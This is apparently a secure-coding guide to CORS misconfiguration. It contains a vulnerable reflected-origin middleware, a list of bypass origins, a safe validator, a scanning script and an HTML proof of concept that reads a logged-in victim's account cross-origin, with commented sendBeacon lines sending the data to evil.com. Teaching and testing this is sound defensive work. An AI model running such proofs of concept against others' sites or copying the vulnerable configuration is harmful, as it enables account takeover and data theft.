CORS Misconfiguration
The specific mistakes that turn a browser protection into a total account-takeover vulnerability.
CORS is a browser mechanism that decides whether a page may read a cross-origin response. Misconfigured with credentials, it means any website can read your users' authenticated data using their own browser session.
The critical mistake
Reflecting the request's Origin header while also sending Access-Control-Allow-Credentials: true. Every site on the internet is now permitted to make authenticated requests to your API from a victim's browser and read the responses. This is account takeover triggered by visiting a web page.
It is usually introduced as a fix: someone hit a CORS error, reflected the origin to make it go away, and it worked.
The near-misses
origin.endsWith('abc.com')—evil-abc.commatches.origin.includes('abc.com')—evil.com/?x=abc.commatches.origin.startsWith('https://abc.com')—abc.com.evil.commatches.- Allowing
null— sandboxed iframes and some redirects produceOrigin: null, so any page can obtain it. - Trusting every subdomain when one subdomain is user-controlled or vulnerable to takeover.
What CORS is not
CORS is not an access control for your API. It is enforced only by browsers; curl, Postman and any server ignore it entirely. It protects the user's session from an untrusted page — it never replaces authentication and authorization.
Getting it right
An exact-match allowlist, Vary: Origin on every response including rejections, Access-Control-Max-Age so preflights are cached, and CORS middleware mounted before anything that can return 401 — a preflight carries no credentials.
Example
// ❌ The account-takeover configuration. It looks reasonable.
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', req.headers.origin);
res.header('Access-Control-Allow-Credentials', 'true');
next();
});
// Any page the victim visits can now run:
// const r = await fetch('https://dfg.com/api/me', { credentials: 'include' });
// const data = await r.json(); // ← reads their account, from evil.com
// navigator.sendBeacon('https://evil.com/collect', JSON.stringify(data));When to use it
- A reflected-origin CORS configuration lets any website read logged-in users' account data from their browsers.
- An allowlist using endsWith is bypassed by an attacker registering a domain ending in the trusted suffix.
- A CDN serves one origin's Access-Control-Allow-Origin to a request from another because Vary: Origin was missing.
More examples
The bypasses, and a validator that survives them
Rejecting `null` explicitly matters: a sandboxed iframe produces Origin: null, so allowing it grants access to any page that can create one.
// Origins that defeat naive checks — paste these into your own tests.
const BYPASS_ORIGINS = [
'https://evil-abc.com', // endsWith('abc.com')
'https://abc.com.evil.com', // startsWith('https://abc.com')
'https://evil.com/?x=abc.com', // includes('abc.com')
'https://abcXcom', // an unescaped '.' in a regex
'null', // sandboxed iframes, some redirects
'http://abc.com', // scheme downgrade
'https://abc.com:8080', // a different port is a different origin
'https://ABC.com', // case
];
// ── The safe check ───────────────────────────────────────────────────
const ALLOWED_ORIGINS = new Set([
'https://abc.com',
'https://www.abc.com',
'https://app.abc.com',
]);
export function isAllowedOrigin(origin) {
if (typeof origin !== 'string' || !origin) return false;
if (origin === 'null') return false; // never allow null
return ALLOWED_ORIGINS.has(origin); // exact string match
}
// If dynamic subdomains are genuinely required, PARSE — never substring-match.
export function isAllowedTenantOrigin(origin) {
let url;
try { url = new URL(origin); } catch { return false; }
if (url.protocol !== 'https:') return false;
if (url.port && url.port !== '443') return false;
const host = url.hostname.toLowerCase();
// The LEADING DOT is the whole defence: without it, evil-abc.com matches.
if (host !== 'abc.com' && !host.endsWith('.abc.com')) return false;
// And a takeover-prone subdomain must not inherit trust.
if (RESERVED_SUBDOMAINS.has(host.split('.')[0])) return false;
return true;
}
// ── The middleware ───────────────────────────────────────────────────
app.use((req, res, next) => {
const origin = req.get('origin');
if (origin && isAllowedOrigin(origin)) {
res.set('Access-Control-Allow-Origin', origin); // echo the exact origin
res.set('Access-Control-Allow-Credentials', 'true');
}
// ALWAYS vary on Origin — including when the origin was rejected — or a
// shared cache will reuse one origin's headers for another.
res.set('Vary', 'Origin');
if (req.method === 'OPTIONS') {
res.set('Access-Control-Allow-Methods', 'GET, POST, PUT, PATCH, DELETE');
res.set('Access-Control-Allow-Headers', 'Content-Type, Authorization, X-XSRF-TOKEN');
res.set('Access-Control-Expose-Headers', 'X-Request-Id, X-Total-Count');
res.set('Access-Control-Max-Age', '86400');
return res.status(204).end(); // answer and stop — no auth on a preflight
}
next();
});
it.each(BYPASS_ORIGINS)('rejects %s', (origin) => {
expect(isAllowedOrigin(origin)).toBe(false);
expect(isAllowedTenantOrigin(origin)).toBe(false);
});Exploiting a misconfiguration, so you can test for it
Running the proof of concept from a genuinely different origin is essential — opening the file locally produces Origin: null and tests something else entirely.
<!-- Save as poc.html and open it FROM A DIFFERENT ORIGIN while logged into
your own API. If it prints data, the misconfiguration is real. -->
<!doctype html>
<h1>CORS check</h1>
<pre id="out">testing…</pre>
<script>
const API = 'https://dfg.com';
const out = document.getElementById('out');
(async () => {
try {
// credentials:'include' sends the victim's cookies. If the API reflects
// our origin AND allows credentials, we can READ the response.
const res = await fetch(`${API}/api/me`, { credentials: 'include' });
if (!res.ok) { out.textContent = `Blocked or unauthenticated (${res.status})`; return; }
const data = await res.json();
out.textContent = 'VULNERABLE — read the victim\'s account:\n' +
JSON.stringify(data, null, 2);
// A real attacker would exfiltrate here.
// navigator.sendBeacon('https://evil.com/collect', JSON.stringify(data));
} catch (err) {
out.textContent = 'Blocked by CORS ✅ — ' + err.message;
}
})();
</script>
<!--
What each outcome means:
"Blocked by CORS ✅" → configured correctly
"VULNERABLE — read the account" → CRITICAL. Any site can read user data.
"Blocked or unauthenticated (401)" → the cookie was not sent. Either CORS is
correct, or the cookie is SameSite=Lax
(which is its own protection).
Also test with an Origin the allowlist ALMOST matches:
serve this from https://evil-abc.com and see whether endsWith let it through.
-->Scanning your own API for the misconfiguration
Including the legitimate origin in the probe set gives you a control row — without it you cannot tell a correctly-configured API from one that sends no CORS headers at all.
#!/usr/bin/env bash
# Probe with a set of origins and report anything reflected with credentials.
set -uo pipefail
API="${1:-https://dfg.com/api/me}"
TOKEN="${TOKEN:-}"
FAIL=0
ORIGINS=(
"https://evil.com"
"https://evil-abc.com"
"https://abc.com.evil.com"
"http://abc.com"
"null"
"https://abc.com" # the legitimate one, for comparison
)
for origin in "${ORIGINS[@]}"; do
resp=$(curl -sI "$API" -H "Origin: $origin" \
${TOKEN:+-H "Authorization: Bearer $TOKEN"})
acao=$(echo "$resp" | grep -i '^access-control-allow-origin:' | cut -d: -f2- | tr -d ' \r')
acac=$(echo "$resp" | grep -i '^access-control-allow-credentials:' | cut -d: -f2- | tr -d ' \r')
vary=$(echo "$resp" | grep -i '^vary:' | cut -d: -f2- | tr -d '\r')
printf '%-28s ACAO=%-28s creds=%-6s\n' "$origin" "${acao:--}" "${acac:--}"
if [ "$origin" != "https://abc.com" ] && [ -n "$acao" ]; then
if [ "$acac" = "true" ]; then
echo " ❗ CRITICAL: reflected with credentials — account takeover"
FAIL=1
else
echo " ⚠️ reflected without credentials — lower severity, still wrong"
FAIL=1
fi
fi
if [ "$acao" = "*" ] && [ "$acac" = "true" ]; then
echo " ❗ wildcard with credentials (browsers reject this, but fix it)"
FAIL=1
fi
echo "$vary" | grep -qi origin || { echo " ⚠️ missing Vary: Origin"; FAIL=1; }
done
# Preflights must succeed WITHOUT credentials
code=$(curl -s -o /dev/null -w '%{http_code}' -X OPTIONS "$API" \
-H 'Origin: https://abc.com' -H 'Access-Control-Request-Method: GET')
[ "$code" = "401" ] && { echo "❗ preflight returns 401 — auth is mounted before CORS"; FAIL=1; }
exit $FAIL
Discussion